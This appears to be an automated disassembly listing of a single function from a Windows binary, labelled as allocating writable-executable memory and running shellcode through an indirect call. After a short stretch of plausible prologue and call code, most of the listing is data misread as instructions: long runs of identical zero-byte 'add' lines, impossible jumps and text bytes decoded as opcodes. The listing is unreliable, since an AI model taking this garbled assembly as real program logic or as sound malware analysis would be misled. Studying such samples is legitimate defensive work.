Function at 0x4020d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45a650
mov eax, dword fs:[0]
push eax
sub esp, 0xa0
mov eax, dword [0x614394]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xac], ecx
lea ecx, [ebp - 0x28]
call fcn.004114e0
mov dword [ebp - 4], 0
cmp dword [ebp + 0xc], 0
je 0x402125
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x28]
call fcn.00411670
lea ecx, [ebp - 0x28]
call fcn.004120d0
movzx ecx, al
test ecx, ecx
je 0x402b13
push 0x45b288
lea ecx, [ebp - 0x28]
call fcn.00411670
push 0x45b290
lea ecx, [ebp - 0x28]
call fcn.004116b0
push 0x45b294
lea ecx, [ebp - 0x28]
call fcn.004116b0
movzx edx, byte [0x614e6c]
test edx, edx
je 0x402af9
add dl, cl
pop dword [eax]
add byte [eax], al
add byte [eax], al
add byte [esi + 0x8f], dh
add byte [eax], al
add byte [edi + ecx*4], bl
add byte [eax], al
mov byte [edi], cl
add byte [eax], al
jb 0x402120
add byte [eax], al
add byte [eax], al
add byte [eax], al
push 0xffffffffffffff8f
add byte [eax], al
add byte [eax], al
add byte [eax], al
pop edx
pop dword [eax]
add byte [eax], al
add byte [eax], al
add byte [esi - 0x71], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
cmp cl, byte [edi]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
adc byte [ecx], 0
add byte [ecx + edx*4], ah
add byte [eax], al
stosb byte es:[edi], al
nop
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov ss, word [ecx]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
hlt
push 0x45b29c
lea ecx, [ebp - 0x28]
call fcn.004116b0
push 0x45b2a0
lea ecx, [ebp - 0x28]
call fcn.004116b0
push str.GmsZdsnnWqSNNZYYtThoLthdKFFSkhvT
lea ecx, [ebp - 0x40]
call 0x4114a0
mov byte [ebp - 4], 1
movzx eax, byte [0x614e6c]
test eax, eax
je 0x403688
or byte [ebp + 0xe], dh
dec eax
mov ecx, dword [edx + 8]
dec eax
cmp ecx, dword [eax + 8]
jne 0x402b44
xor eax, eax
jmp 0x402b49
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x402b89
dec eax
mov eax, dword [0xffffed57]
dec eax
lea ecx, [0xffffed48]
jmp 0x402b84
dec esp
mov eax, dword [ebx]
dec esp
cmp eax, dword [eax]
jne 0x402b73
dec esp
mov eax, dword [ebx + 8]
dec esp
cmp eax, dword [eax + 8]
jne 0x402b73
xor eax, eax
jmp 0x402b78
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x402b94
dec eax
mov eax, dword [ecx + 0x40]
dec eax
add ecx, 0x38
dec eax
test eax, eax
jne 0x402b5d
mov eax, 0x80040110
dec eax
mov ebx, dword [esp + 8]
ret
dec ecx
mov dword [ebx], ecx
lock add dword [0x33fc], 1
xor eax, eax
jmp 0x402b8e
mov dword [ebp - 0x64], 0
lea ecx, [ebp - 0x40]
call fcn.004122c0
mov dword [ebp - 0x84], eax
movzx ecx, byte [0x614e6c]
test ecx, ecx
je 0x404916
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], dh
xor dword [edx], esi
xor esi, dword [esi + 0x39383736]
popal
bound esp, qword [ebx + 0x64]
push 0x6a69
imul ebp, dword [ebp + ebp*2 + 0x6e], 0x6f
jo 0x403a8d
jb 0x403a91
je 0x403a95
jbe 0x403a99
js 0x403a9d
jp 0x403a26
add byte [eax], al
add byte [eax], al
add byte [ecx], ah
adc eax, 0xc0d0e11
or ecx, dword [ebx]
or cl, byte [edx]
or dword [ecx], ecx
or dword [ecx], ecx
or dword [eax], ecx
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi + 0x492963], ah
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
and byte [ecx], al
add al, cl
inc edx
add byte [eax + 0x1c], al
inc esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
